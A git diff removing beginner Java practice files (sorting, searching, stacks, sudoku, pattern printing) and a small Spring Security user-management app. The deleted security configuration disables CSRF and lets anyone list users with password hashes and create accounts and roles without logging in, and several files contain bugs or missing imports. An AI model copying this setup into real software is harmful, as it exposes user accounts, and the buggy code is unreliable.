// each i => amount of food present in i+1 house number - r = sc.nextInt(); - unit = sc.nextInt(); - n = sc.nextInt(); - int[] arr = new int[n]; - for (int i=0; i= 1; i--) - { - for (int j = 1; j < i; j++) - { - System.out.print(" "); - } - for (int j = i; j <= rows; j++) - { - System.out.print(j+" "); - } - System.out.println(); - } - - } -} diff --git a/Add Code Here/JAVA/reversePyramidWithMirorImage.java b/Add Code Here/JAVA/reversePyramidWithMirorImage.java deleted file mode 100644 index a03a27fe182..00000000000 --- a/Add Code Here/JAVA/reversePyramidWithMirorImage.java +++ /dev/null @@ -1,40 +0,0 @@ - -public class reversePyramidWithMirorImage -{ - public static void main(String[] args) - { - int rows = 7; - - - - - for (int i = 1; i <= rows; i++) - { - for (int j = 1; j < i; j++) - { - System.out.print(" "); - } - for (int j = i; j <= rows; j++) - { - System.out.print(j+" "); - } - System.out.println(); - } - - - - for (int i = rows-1; i >= 1; i--) - { - for (int j = 1; j < i; j++) - { - System.out.print(" "); - } - for (int j = i; j <= rows; j++) - { - System.out.print(j+" "); - } - System.out.println(); - } - - } -} diff --git a/Add Code Here/JAVA/reverse_linkedLIst.java b/Add Code Here/JAVA/reverse_linkedLIst.java deleted file mode 100644 index 3ee3e719e0f..00000000000 --- a/Add Code Here/JAVA/reverse_linkedLIst.java +++ /dev/null @@ -1,58 +0,0 @@ -class LinkedList { - - static Node head; - - static class Node { - - int data; - Node next; - - Node(int d) - { - data = d; - next = null; - } - } - - /* Function to reverse the linked list */ - Node reverse(Node node) - { - Node prev = null; - Node current = node; - Node next = null; - while (current != null) { - next = current.next; - current.next = prev; - prev = current; - current = next; - } - node = prev; - return node; - } - - // prints content of double linked list - void printList(Node node) - { - while (node != null) { - System.out.print(node.data + " "); - node = node.next; - } - } - - // Driver Code - public static void main(String[] args) - { - LinkedList list = new LinkedList(); - list.head = new Node(85); - list.head.next = new Node(15); - list.head.next.next = new Node(4); - list.head.next.next.next = new Node(20); - - System.out.println("Given Linked list"); - list.printList(head); - head = list.reverse(head); - System.out.println(""); - System.out.println("Reversed linked list "); - list.printList(head); - } -} diff --git a/Add Code Here/JAVA/rotatedBinarySearch.java b/Add Code Here/JAVA/rotatedBinarySearch.java deleted file mode 100644 index 29cce3a3fc1..00000000000 --- a/Add Code Here/JAVA/rotatedBinarySearch.java +++ /dev/null @@ -1,105 +0,0 @@ -/* -Q. Search in Rotated Sorted Array. - -There is an integer array nums sorted in ascending order (with distinct values). -Prior to being passed to your function, nums is possibly rotated at an unknown pivot index k (1 <= k < nums.length) such that the resulting array -is [nums[k], nums[k+1], ..., nums[n-1], nums[0], nums[1], ..., nums[k-1]] (0-indexed). -For example, [0,1,2,4,5,6,7] might be rotated at pivot index 3 and become [4,5,6,7,0,1,2]. -Given the array nums after the possible rotation and an integer target, return the index of target if it is in nums, or -1 if it is not in nums. -You must write an algorithm with O(log n) runtime complexity. -*/ - -class Solution { - public static void main(String[] args) { - int[] arr = {1,2,3,4,5,5,6}; - System.out.println(findPivotWithDuplicates(arr)); - } - - static int search(int[] nums, int target) { - int pivot = findPivot(nums); - if (pivot == -1) { - return binarySearch(nums, target, 0 , nums.length - 1); - } - - if (nums[pivot] == target) { - return pivot; - } - - if (target >= nums[0]) { - return binarySearch(nums, target, 0, pivot - 1); - } - - return binarySearch(nums, target, pivot + 1, nums.length - 1); - } - - static int binarySearch(int[] arr, int target, int start, int end) { - while(start <= end) { - - int mid = start + (end - start) / 2; - - if (target < arr[mid]) { - end = mid - 1; - } else if (target > arr[mid]) { - start = mid + 1; - } else { - return mid; - } - } - return -1; - } - - static int findPivot(int[] arr) { - int start = 0; - int end = arr.length - 1; - while (start <= end) { - int mid = start + (end - start) / 2; - // 4 cases over here - if (mid < end && arr[mid] > arr[mid + 1]) { - return mid; - } - if (mid > start && arr[mid] < arr[mid - 1]) { - return mid-1; - } - if (arr[mid] <= arr[start]) { - end = mid - 1; - } else { - start = mid + 1; - } - } - return -1; - } - - static int findPivotWithDuplicates(int[] arr) { - int start = 0; - int end = arr.length - 1; - while (start <= end) { - int mid = start + (end - start) / 2; - - if (mid < end && arr[mid] > arr[mid + 1]) { - return mid; - } - if (mid > start && arr[mid] < arr[mid - 1]) { - return mid-1; - } - - if (arr[mid] == arr[start] && arr[mid] == arr[end]) { - if (start < end && arr[start] > arr[start + 1]) { - return start; - } - start++; - - if (end > start && arr[end] < arr[end - 1]) { - return end - 1; - } - end--; - } - - else if(arr[start] < arr[mid] || (arr[start] == arr[mid] && arr[mid] > arr[end])) { - start = mid + 1; - } else { - end = mid - 1; - } - } - return -1; - } -} diff --git a/Add Code Here/JAVA/selection sort.java b/Add Code Here/JAVA/selection sort.java deleted file mode 100644 index bf8ef421df4..00000000000 --- a/Add Code Here/JAVA/selection sort.java +++ /dev/null @@ -1,32 +0,0 @@ -public class SelectionSortExample { - public static void selectionSort(int[] arr){ - for (int i = 0; i < arr.length - 1; i++) - { - int index = i; - for (int j = i + 1; j < arr.length; j++){ - if (arr[j] < arr[index]){ - index = j;//searching for lowest index - } - } - int smallerNumber = arr[index]; - arr[index] = arr[i]; - arr[i] = smallerNumber; - } - } - - public static void main(String a[]){ - int[] arr1 = {9,14,3,2,43,11,58,22}; - System.out.println("Before Selection Sort"); - for(int i:arr1){ - System.out.print(i+" "); - } - System.out.println(); - - selectionSort(arr1);//sorting array using selection sort - - System.out.println("After Selection Sort"); - for(int i:arr1){ - System.out.print(i+" "); - } - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/shortest_common_supersequence.java b/Add Code Here/JAVA/shortest_common_supersequence.java deleted file mode 100644 index a0a3e9a7888..00000000000 --- a/Add Code Here/JAVA/shortest_common_supersequence.java +++ /dev/null @@ -1,61 +0,0 @@ -module hactoberfest { - // Java program to find length of - // the shortest supersequence - class Solution { - - static int shortestSuperSequence(String X, String Y) - { - int m = X.length(); - int n = Y.length(); - - // find lcs - int l = lcs(X, Y, m, n); - - // Result is sum of input string - // lengths - length of lcs - return (m + n - l); - } - - // Returns length of LCS - // for X[0..m - 1], Y[0..n - 1] - static int lcs(String X, String Y, int m, int n) - { - int[][] L = new int[m + 1][n + 1]; - int i, j; - - // Following steps build L[m + 1][n + 1] - // in bottom up fashion. Note that - // L[i][j] contains length of LCS - // of X[0..i - 1]and Y[0..j - 1] - for (i = 0; i <= m; i++) { - for (j = 0; j <= n; j++) { - if (i == 0 || j == 0) - L[i][j] = 0; - - else if (X.charAt(i - 1) == Y.charAt(j - 1)) - L[i][j] = L[i - 1][j - 1] + 1; - - else - L[i][j] = Math.max(L[i - 1][j], - L[i][j - 1]); - } - } - - // L[m][n] contains length of LCS - // for X[0..n - 1] and Y[0..m - 1] - return L[m][n]; - } - public static void main(String args[]) - { - String X = "AGGTAB"; - String Y = "GXTXAYB"; - - System.out.println("Length of the shortest " - + "supersequence is " - + shortestSuperSequence(X, Y)); - } - } - - - -} \ No newline at end of file diff --git a/Add Code Here/JAVA/simpleeditter.java/simpleediter.java b/Add Code Here/JAVA/simpleeditter.java/simpleediter.java deleted file mode 100644 index b415c555606..00000000000 --- a/Add Code Here/JAVA/simpleeditter.java/simpleediter.java +++ /dev/null @@ -1,66 +0,0 @@ -/* package codechef; // don't place package name! */ - - - -import java.util.*; - -import java.lang.*; - -import java.io.*; - - - -/* Name of the class has to be "Main" only if the class is public. */ - -class Codechef - -{ - - public static void main (String[] args) throws java.lang.Exception - - { - - // your code goes here - - Scanner scanner = new Scanner(System.in); - - int queryNumber = scanner.nextInt(); - - scanner.nextLine(); - - StringBuffer sb = new StringBuffer(); - - for(int i=0; i2){ - - String operation = queryArray[0]; - - int startIndex = Integer.valueOf(queryArray[1]); - - if("+".equals(operation)){ - - String subStr = queryArray[2]; - - sb.insert(startIndex, subStr); - - }else if("?".equals(operation)){ - - int endIndex = Integer.valueOf(queryArray[2]); - - System.out.println(sb.substring(startIndex-1, startIndex+endIndex-1)); - - } - - } - - } - - } - -} - diff --git a/Add Code Here/JAVA/smallestPair b/Add Code Here/JAVA/smallestPair deleted file mode 100644 index 56dd3bc3ac7..00000000000 --- a/Add Code Here/JAVA/smallestPair +++ /dev/null @@ -1,44 +0,0 @@ -/* package codechef; // don't place package name! */ - -import java.util.*; -import java.lang.*; - -/* Name of the class has to be "Main" only if the class is public. */ -public class smallestPair { - public static void main(String[] args) throws Exception { - // your code goes here - Scanner sc = new Scanner(System.in); - int t = sc.nextInt(); - - while (t-- > 0) { - int n = sc.nextInt(); - - int a[] = new int[n]; - - int min1 = Integer.MAX_VALUE; - int min2 = Integer.MAX_VALUE; - - for (int k = 0; k < n; k++) - { - a[k] = sc.nextInt(); - } - - for (int i = 0; i < n; i++) { - if (a[i] < min1) { - min1 = a[i]; - } - for (int j = 0; j < n; j++) - { - if (a[j] < min2 && a[j] > min1) - { - min2 = a[j]; - } - } - } -// System.out.println("min1 = " + min1); -// System.out.println("min2 = " + min2); - - System.out.println("" + (min1+min2)); - } - } -} diff --git a/Add Code Here/JAVA/smallestPair.java b/Add Code Here/JAVA/smallestPair.java deleted file mode 100644 index 8dc9ac5af11..00000000000 --- a/Add Code Here/JAVA/smallestPair.java +++ /dev/null @@ -1,44 +0,0 @@ -/* package codechef; // don't place package name! */ - -import java.util.*; -import java.lang.*; - -/* Name of the class has to be "Main" only if the class is public. */ -public class smallestPair { - public static void main(String[] args) throws Exception { - // your code goes here - Scanner sc = new Scanner(System.in); - int t = sc.nextInt(); - - while (t-- > 0) { - int n = sc.nextInt(); - - int a[] = new int[n]; - - int min1 = Integer.MAX_VALUE; - int min2 = Integer.MAX_VALUE; - - for (int k = 0; k < n; k++) - { - a[k] = sc.nextInt(); - } - - for (int i = 0; i < n; i++) { - if (a[i] < min1) { - min1 = a[i]; - } - for (int j = 0; j < n; j++) - { - if (a[j] < min2 && a[j] > min1) - { - min2 = a[j]; - } - } - } -// System.out.println("min1 = " + min1); -// System.out.println("min2 = " + min2); - - System.out.println("" + (min1+min2)); - } - } -} diff --git a/Add Code Here/JAVA/spiralmatrix.java b/Add Code Here/JAVA/spiralmatrix.java deleted file mode 100644 index 5b1dbd02a33..00000000000 --- a/Add Code Here/JAVA/spiralmatrix.java +++ /dev/null @@ -1,47 +0,0 @@ -public class Solution { - public List spiralOrder(int[][] matrix) { - - List res = new ArrayList(); - - if (matrix.length == 0) { - return res; - } - - int rowBegin = 0; - int rowEnd = matrix.length-1; - int colBegin = 0; - int colEnd = matrix[0].length - 1; - - while (rowBegin <= rowEnd && colBegin <= colEnd) { - // Traverse Right - for (int j = colBegin; j <= colEnd; j ++) { - res.add(matrix[rowBegin][j]); - } - rowBegin++; - - // Traverse Down - for (int j = rowBegin; j <= rowEnd; j ++) { - res.add(matrix[j][colEnd]); - } - colEnd--; - - if (rowBegin <= rowEnd) { - // Traverse Left - for (int j = colEnd; j >= colBegin; j --) { - res.add(matrix[rowEnd][j]); - } - } - rowEnd--; - - if (colBegin <= colEnd) { - // Traver Up - for (int j = rowEnd; j >= rowBegin; j --) { - res.add(matrix[j][colBegin]); - } - } - colBegin ++; - } - - return res; - } -} diff --git a/Add Code Here/JAVA/spring sec/Security/SecurityConf.java b/Add Code Here/JAVA/spring sec/Security/SecurityConf.java deleted file mode 100644 index e16f7b113d3..00000000000 --- a/Add Code Here/JAVA/spring sec/Security/SecurityConf.java +++ /dev/null @@ -1,50 +0,0 @@ -package com.example.informatic_parc.Security; - -import com.example.informatic_parc.service.Users.UserService; -import lombok.AllArgsConstructor; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.http.HttpMethod; -import org.springframework.security.authentication.dao.DaoAuthenticationProvider; -import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; -import org.springframework.security.config.annotation.web.builders.HttpSecurity; -import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; -import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; -import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; -import org.springframework.security.crypto.password.PasswordEncoder; - -@Configuration -@EnableWebSecurity -@AllArgsConstructor -public class SecurityConf extends WebSecurityConfigurerAdapter { - private final UserService userService; - @Override - protected void configure(HttpSecurity http) throws Exception { - http - .csrf().disable() - .authorizeRequests() - .antMatchers(HttpMethod.POST,"/*").permitAll() - .antMatchers(HttpMethod.GET,"/*").permitAll() - .anyRequest().authenticated() - .and() - .httpBasic(); - - } - @Bean - PasswordEncoder bcryptPasswordEncoder(){ - return new BCryptPasswordEncoder(); - } - - @Override - protected void configure(AuthenticationManagerBuilder auth) { - auth.authenticationProvider(daoAuthenticationProvider()); - } - @Bean - DaoAuthenticationProvider daoAuthenticationProvider(){ - DaoAuthenticationProvider daoAuthenticationProvider = new DaoAuthenticationProvider(); - daoAuthenticationProvider.setPasswordEncoder(bcryptPasswordEncoder()); - daoAuthenticationProvider.setUserDetailsService(userService); - return daoAuthenticationProvider; - } - -} diff --git a/Add Code Here/JAVA/spring sec/controller/Users/Roles_Controller.java b/Add Code Here/JAVA/spring sec/controller/Users/Roles_Controller.java deleted file mode 100644 index 00a1f7d3b03..00000000000 --- a/Add Code Here/JAVA/spring sec/controller/Users/Roles_Controller.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.example.informatic_parc.controller.Users; - -import com.example.informatic_parc.model.Users.Roles; -import com.example.informatic_parc.service.Users.RoleService; -import lombok.AllArgsConstructor; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RestController; - -@RestController -@AllArgsConstructor -public class Roles_Controller { - @Autowired - RoleService service; - - @PostMapping("/role") - public Roles addRole(@RequestBody Roles role) { - return service.addRole(role); - } - - @GetMapping("/role") - public Roles getAll() { - return service.getAll(); - } -} diff --git a/Add Code Here/JAVA/spring sec/controller/Users/Users_Controller.java b/Add Code Here/JAVA/spring sec/controller/Users/Users_Controller.java deleted file mode 100644 index ee42b07ec10..00000000000 --- a/Add Code Here/JAVA/spring sec/controller/Users/Users_Controller.java +++ /dev/null @@ -1,32 +0,0 @@ -package com.example.informatic_parc.controller.Users; - -import com.example.informatic_parc.model.Users.Users; -import com.example.informatic_parc.service.Users.UserService; -import lombok.AllArgsConstructor; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -@RestController -@AllArgsConstructor -public class Users_Controller { - @Autowired - UserService service; - @PostMapping("/users") - public Users addUser( @RequestBody Users user){ - return service.addUser(user); - } - @GetMapping("/users") - public List getAll(){ - return service.getAll(); - } - @DeleteMapping("/delete/users") - public String deleteAll(){ - return service.deleteAll(); - } - @DeleteMapping("/delete/users/{id}") - public String delete( @PathVariable Integer id){ - return service.deleteUser(id); - } -} diff --git a/Add Code Here/JAVA/spring sec/model/Users/Roles.java b/Add Code Here/JAVA/spring sec/model/Users/Roles.java deleted file mode 100644 index c15561babfa..00000000000 --- a/Add Code Here/JAVA/spring sec/model/Users/Roles.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.example.informatic_parc.model.Users; - -import lombok.*; - -import javax.persistence.*; - -@AllArgsConstructor -@NoArgsConstructor -@Getter -@Setter -@Entity -public class Roles { - @Id - @GeneratedValue(strategy = GenerationType.IDENTITY) - @Column(name = "role_id") - private int id; - @Column(name = "role_name") - private String name; -} diff --git a/Add Code Here/JAVA/spring sec/model/Users/Users.java b/Add Code Here/JAVA/spring sec/model/Users/Users.java deleted file mode 100644 index a1f1173f848..00000000000 --- a/Add Code Here/JAVA/spring sec/model/Users/Users.java +++ /dev/null @@ -1,24 +0,0 @@ -package com.example.informatic_parc.model.Users; - -import lombok.AllArgsConstructor; -import lombok.Getter; -import lombok.NoArgsConstructor; -import lombok.Setter; - -import javax.persistence.*; - -@AllArgsConstructor -@NoArgsConstructor -@Getter -@Setter -@Entity -public class Users { - @Id - @GeneratedValue(strategy = GenerationType.IDENTITY) - private Integer id; - private String username; - private String password; - @ManyToOne - @JoinColumn(name = "fk_role_id") - private Roles role; -} diff --git a/Add Code Here/JAVA/spring sec/repository/Users/Role_Repository.java b/Add Code Here/JAVA/spring sec/repository/Users/Role_Repository.java deleted file mode 100644 index 3f46a80ff90..00000000000 --- a/Add Code Here/JAVA/spring sec/repository/Users/Role_Repository.java +++ /dev/null @@ -1,9 +0,0 @@ -package com.example.informatic_parc.repository.Users; - -import com.example.informatic_parc.model.Users.Roles; -import org.springframework.data.jpa.repository.JpaRepository; -import org.springframework.stereotype.Repository; - -@Repository -public interface Role_Repository extends JpaRepository { -} diff --git a/Add Code Here/JAVA/spring sec/repository/Users/Users_Repository.java b/Add Code Here/JAVA/spring sec/repository/Users/Users_Repository.java deleted file mode 100644 index b7db1d695e0..00000000000 --- a/Add Code Here/JAVA/spring sec/repository/Users/Users_Repository.java +++ /dev/null @@ -1,11 +0,0 @@ -package com.example.informatic_parc.repository.Users; - -import com.example.informatic_parc.model.Users.Users; -import org.springframework.data.jpa.repository.JpaRepository; -import org.springframework.stereotype.Repository; - - -@Repository -public interface Users_Repository extends JpaRepository { - Users findUsersByUsername(String username); -} diff --git a/Add Code Here/JAVA/spring sec/serivice/Users/RoleService.java b/Add Code Here/JAVA/spring sec/serivice/Users/RoleService.java deleted file mode 100644 index ef9e9ef9116..00000000000 --- a/Add Code Here/JAVA/spring sec/serivice/Users/RoleService.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.example.informatic_parc.service.Users; - -import com.example.informatic_parc.model.Users.Roles; -import com.example.informatic_parc.repository.Users.Role_Repository; -import lombok.AllArgsConstructor; -import org.springframework.stereotype.Service; - -@AllArgsConstructor -@Service -public class RoleService { - private Role_Repository repository; - public Roles addRole(Roles role){ - return repository.save(role); - } - public Roles getAll(){ - return (Roles) repository.findAll(); - } -} diff --git a/Add Code Here/JAVA/spring sec/serivice/Users/UserDetailsPrincipal.java b/Add Code Here/JAVA/spring sec/serivice/Users/UserDetailsPrincipal.java deleted file mode 100644 index eaf8006e7ea..00000000000 --- a/Add Code Here/JAVA/spring sec/serivice/Users/UserDetailsPrincipal.java +++ /dev/null @@ -1,52 +0,0 @@ -package com.example.informatic_parc.service.Users; - -import com.example.informatic_parc.model.Users.Users; -import org.springframework.security.core.GrantedAuthority; -import org.springframework.security.core.authority.SimpleGrantedAuthority; -import org.springframework.security.core.userdetails.UserDetails; - -import java.util.ArrayList; -import java.util.Collection; -import java.util.List; -public class UserDetailsPrincipal implements UserDetails { - private final Users users; - public UserDetailsPrincipal(Users users){ - this.users= users; - } - @Override - public Collection getAuthorities() { - List roles = new ArrayList<>(); - roles.add(new SimpleGrantedAuthority("ROLE_"+users.getRole().getName())); - return roles; - } - - @Override - public String getPassword() { - return users.getPassword(); - } - - @Override - public String getUsername() { - return users.getUsername(); - } - - @Override - public boolean isAccountNonExpired() { - return true; - } - - @Override - public boolean isAccountNonLocked() { - return true; - } - - @Override - public boolean isCredentialsNonExpired() { - return true; - } - - @Override - public boolean isEnabled() { - return true; - } -} diff --git a/Add Code Here/JAVA/spring sec/serivice/Users/UserService.java b/Add Code Here/JAVA/spring sec/serivice/Users/UserService.java deleted file mode 100644 index 216bd5f2d7a..00000000000 --- a/Add Code Here/JAVA/spring sec/serivice/Users/UserService.java +++ /dev/null @@ -1,43 +0,0 @@ -package com.example.informatic_parc.service.Users; - -import com.example.informatic_parc.model.Users.Users; -import com.example.informatic_parc.repository.Users.Users_Repository; -import lombok.AllArgsConstructor; -import org.springframework.security.core.userdetails.UserDetails; -import org.springframework.security.core.userdetails.UserDetailsService; -import org.springframework.security.core.userdetails.UsernameNotFoundException; -import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; -import org.springframework.stereotype.Service; - -import java.util.List; - -@Service -@AllArgsConstructor -public class UserService implements UserDetailsService { - private final Users_Repository repository; - - @Override - public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException { - Users user = repository.findUsersByUsername(username); - return new UserDetailsPrincipal(user); - } - - public Users addUser(Users user) { - user.setPassword(new BCryptPasswordEncoder().encode(user.getPassword())); - return repository.save(user); - } - - public List getAll() { - return repository.findAll(); - } - - public String deleteAll() { - repository.deleteAll(); - return "All users has been deleted"; - } - - public String deleteUser(Integer id) { - repository.deleteById(id); - return "The user with the identity :" + id + ",has been deleted with success "; - } -} diff --git a/Add Code Here/JAVA/stack/ArrayStack.java b/Add Code Here/JAVA/stack/ArrayStack.java deleted file mode 100644 index 4138d87193d..00000000000 --- a/Add Code Here/JAVA/stack/ArrayStack.java +++ /dev/null @@ -1,137 +0,0 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package stack; - -import java.util.NoSuchElementException; - -/** - * - * @author Zohaib Hassan Soomro - */ -public class ArrayStack implements Stack { - -private int size; -private Object array[]; - -public ArrayStack(int capacity) { - array = new Object[capacity]; -} - -@Override -public Object peek() { - if (this.isEmpty()) { - throw new IllegalStateException("Stack is empty!"); - } - return array[size - 1]; -} - -@Override -public Object pop() { - if (this.isEmpty()) { - throw new IllegalStateException("Stack is empty!"); - } - Object obj = array[--size]; - array[size] = null; - return obj; -} - -@Override -public void push(Object obj) { - if (size == array.length) { - resizeArray(); - } - array[size++] = obj; -} - -@Override -public int size() { - return size; -} - -@Override -public boolean isEmpty() { - return (size == 0); -} - -public void resizeArray() { - Object newArray[] = this.array; - this.array = new Object[2 * size]; - System.arraycopy(newArray, 0, this.array, 0, newArray.length); -} - -/////toString() converts all data of current object into an string -public String toString() { - if (this.isEmpty()) { - return ""; - } - String string = "["; - for (int i = size - 1; i >= 0; i--) { //as it is an stack so last element willl be the first element - string += String.valueOf(array[i] + ","); - } - string = string.substring(0, string.lastIndexOf(',')) + "]"; - return string; -} - -/////equals() compares two stacks -public boolean equals(Stack obj) { - if (this.size() != obj.size()) { - return false; - } - Object array[] = new Object[this.size()]; - Object array2[] = new Object[this.size()]; //as size of both are equal - boolean areEqual = true; - int i = 0; //counter variable - for (; i < array.length; i++) { - array[i] = this.pop(); //storing elements in array by popping so that we can store later same elements - array2[i] = obj.pop(); - if (!array[i].equals(array2[i])) { - areEqual = false; - } - } - while (--i >= 0) { - this.push(array[i]); //again inserting those elements in - obj.push(array2[i]); - } - return areEqual; -} - -////findLast() finds last element in the stack -public Object findLast() { - if (this.isEmpty()) { - throw new IllegalStateException("Stack is empty!"); - } - return array[0]; -} - -/////toLinkedStack() returns LinkedStack object equivalent to curent ArrayStack object -public LinkedStack toLinkedStack() { - if (this.isEmpty()) { - return null; - } - LinkedStack stack = new LinkedStack(); - for (int i = 0; i < this.size; i++) { - stack.push(array[i]); - } - return stack; -} - -public static void main(String[] args) { - ArrayStack stack = new ArrayStack(2); - stack.push(30); - stack.push("Hello1"); - stack.push(20); - ArrayStack stack2 = new ArrayStack(2); - stack2.push(30); - stack2.push("Hello"); - stack2.push(20); - System.out.println("stack.toString(): " + stack.toString()); - System.out.println("stack2.toString(): " + stack2.toString()); - System.out.println("stack.equals(stack2): " + stack.equals(stack2)); - System.out.println("stack.findLast(): " + stack.findLast()); - System.out.println("stack.toLinkedStack().toString(): " + stack.toLinkedStack().toString()); -} - -} diff --git a/Add Code Here/JAVA/stack/LinkedStack.java b/Add Code Here/JAVA/stack/LinkedStack.java deleted file mode 100644 index a344ca143cc..00000000000 --- a/Add Code Here/JAVA/stack/LinkedStack.java +++ /dev/null @@ -1,148 +0,0 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -/** - * - * @author Zohaib Hassan Soomro - */ -package stack; - -import java.util.*; - -public class LinkedStack implements Stack { - -private int size; -private Node top; - -private class Node { - -private Object object; -private Node next; - -public Node(Object object, Node next) { - this.object = object; - this.next = next; -} - -} - -@Override -public Object peek() { - if (this.isEmpty()) { - throw new NoSuchElementException("Stack is Empty!"); - } - return top.object; -} - -@Override -public Object pop() { - if (this.isEmpty()) { - throw new NoSuchElementException("Stack is Empty!"); - } - Object obj = top.object; - top = top.next; - --size; - return obj; -} - -@Override -public void push(Object obj) { - top = new Node(obj, top); - size++; -} - -@Override -public int size() { - return size; -} - -@Override -public boolean isEmpty() { - return (size == 0); -} - -/////toString() converts all data of current object into an string -public String toString() { - if (this.isEmpty()) { - return ""; - } - String string = "["; - for (Node i = top; i != null; i = i.next) { - string += String.valueOf(i.object + ","); - } - string = string.substring(0, string.lastIndexOf(',')) + "]"; - return string; -} - -/////equals() compares two stacks -public boolean equals(Stack obj) { - if (this.size() != obj.size()) { - return false; - } - Object array[] = new Object[this.size()]; - Object array2[] = new Object[this.size()]; //as size of both are equal - boolean areEqual = true; - int i = 0; //counter variable - for (; i < array.length; i++) { - array[i] = this.pop(); //storing elements in array by popping so that we can store later same elements - array2[i] = obj.pop(); - if (!array[i].equals(array2[i])) { - areEqual = false; - } - } - while (--i >= 0) { - this.push(array[i]); //again inserting those elements in - obj.push(array2[i]); - } - return areEqual; -} - -////findLast() finds last element in the stack -public Object findLast() { - if (this.isEmpty()) { - throw new NoSuchElementException("Stack is empty!"); - } - Node i = top; - for (; i.next != null; i = i.next) //because if i.next=null it means i will be pointing to the last Object - { - } - return i.object; -} - -/////toArrayStack() returns ArrayStack object equivalent to curent LinkedStack object -public ArrayStack toArrayStack() { - if (this.isEmpty()) { - return null; - } - Object array[] = new Object[this.size]; - int count = 0; - ArrayStack stack = new ArrayStack(this.size); - for (Node i = top; i != null; i = i.next) { - array[count++] = i.object; //for preserving same order that's why storing elements in an Object array - } - for (int i = this.size - 1; i >= 0; i--) { - stack.push(array[i]); - } - return stack; -} - -public static void main(String[] args) { - LinkedStack stack = new LinkedStack(); - stack.push(4); - stack.push("Hello"); - stack.push(200); - LinkedStack stack2 = new LinkedStack(); - stack2.push(4); - stack2.push("Hello"); - stack2.push(200); - System.out.println("stack.toString(): " + stack.toString()); - System.out.println("stack2.toString(): " + stack2.toString()); - System.out.println("stack.equals(stack2): " + stack.equals(stack2)); - System.out.println("stack.findLast(): " + stack.findLast()); - System.out.println("stack.toArrayStack().toString(): " + stack.toArrayStack().toString()); - -} - -} diff --git a/Add Code Here/JAVA/stack/RPN.java b/Add Code Here/JAVA/stack/RPN.java deleted file mode 100644 index ad3202a61e2..00000000000 --- a/Add Code Here/JAVA/stack/RPN.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package stack; - -import java.util.Arrays; - -/** - * - * @author Zohaib Hassan Soomro - */ -///////////Reverse Polish Notation i.e 7 2 + 5 2- * = (7+2)*(5-2) -public class RPN { - -public RPN(String[] array) { - Stack stack = new ArrayStack(array.length); -// or -// Stack stack = new LinkedStack(); - for (int i = 0; i < array.length; i++) { - String input = array[i]; - if (isAnOperator(input)) { - double lastElement = Double.parseDouble((String) stack.pop()); - double secondlastElement = Double.parseDouble((String) stack.pop()); - double result = evaluate(secondlastElement, lastElement, input); - stack.push("" + result); - } else { - stack.push(input); - } - } -} -//DMAS= Division, Multiplication, Addition, Subtraction - -/////checks if input is an operator -private boolean isAnOperator(String operator) { - return (operator.length() == 1 && ("DMAS".indexOf(operator) >= 0 || "dmas".indexOf(operator) >= 0)); -} - -/////evaluates last two digits with corresponding operation -private double evaluate(double x, double y, String op) { - double z = 0; - switch (op) { - case "a": - case "A": - z = x + y; - break; - case "s": - case "S": - z = x - y; - break; - - case "m": - case "M": - z = x * y; - break; - - case "d": - case "D": - z = x / y; - break; - } - System.out.println(x + " " + op + " " + y + " = " + z); - return z; -} - -public static void main(String[] args) { - String str = new String("7 2 s 5 8 4 D m 2 d D 2 a"); //works on both lowercase & uppercase// (((7-2) / ((5*(8/4)) /2))+2)=3 - String[] array = str.split(" "); - new RPN(array); -} -} diff --git a/Add Code Here/JAVA/stack/Stack.java b/Add Code Here/JAVA/stack/Stack.java deleted file mode 100644 index aac642c516b..00000000000 --- a/Add Code Here/JAVA/stack/Stack.java +++ /dev/null @@ -1,19 +0,0 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package stack; - -/** - * - * @author Zohaib Hassan Soomro - */ -public interface Stack { - public Object peek(); - public Object pop(); - public void push(Object obj); - public int size(); - public boolean isEmpty(); - -} diff --git a/Add Code Here/JAVA/sudokosolver.java b/Add Code Here/JAVA/sudokosolver.java deleted file mode 100644 index 3d124e5811d..00000000000 --- a/Add Code Here/JAVA/sudokosolver.java +++ /dev/null @@ -1,31 +0,0 @@ -public class sudokosovler { - public void solveSudoku(char[][] board) { - dfs(board,0); - } - private boolean dfs(char[][] board, int d) { - if (d==81) return true; //found solution - int i=d/9, j=d%9; - if (board[i][j]!='.') return dfs(board,d+1);//prefill number skip - - boolean[] flag=new boolean[10]; - validate(board,i,j,flag); - for (int k=1; k<=9; k++) { - if (flag[k]) { - board[i][j]=(char)('0'+k); - if (dfs(board,d+1)) return true; - } - } - board[i][j]='.'; //if can not solve, in the wrong path, change back to '.' and out - return false; - } - private void validate(char[][] board, int i, int j, boolean[] flag) { - Arrays.fill(flag,true); - for (int k=0; k<9; k++) { - if (board[i][k]!='.') flag[board[i][k]-'0']=false; - if (board[k][j]!='.') flag[board[k][j]-'0']=false; - int r=i/3*3+k/3; - int c=j/3*3+k%3; - if (board[r][c]!='.') flag[board[r][c]-'0']=false; - } - } -} \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/99Bottles.js b/Add Code Here/JAVASCRIPT/99Bottles.js deleted file mode 100644 index 544dee39e04..00000000000 --- a/Add Code Here/JAVASCRIPT/99Bottles.js +++ /dev/null @@ -1,15 +0,0 @@ -//using while 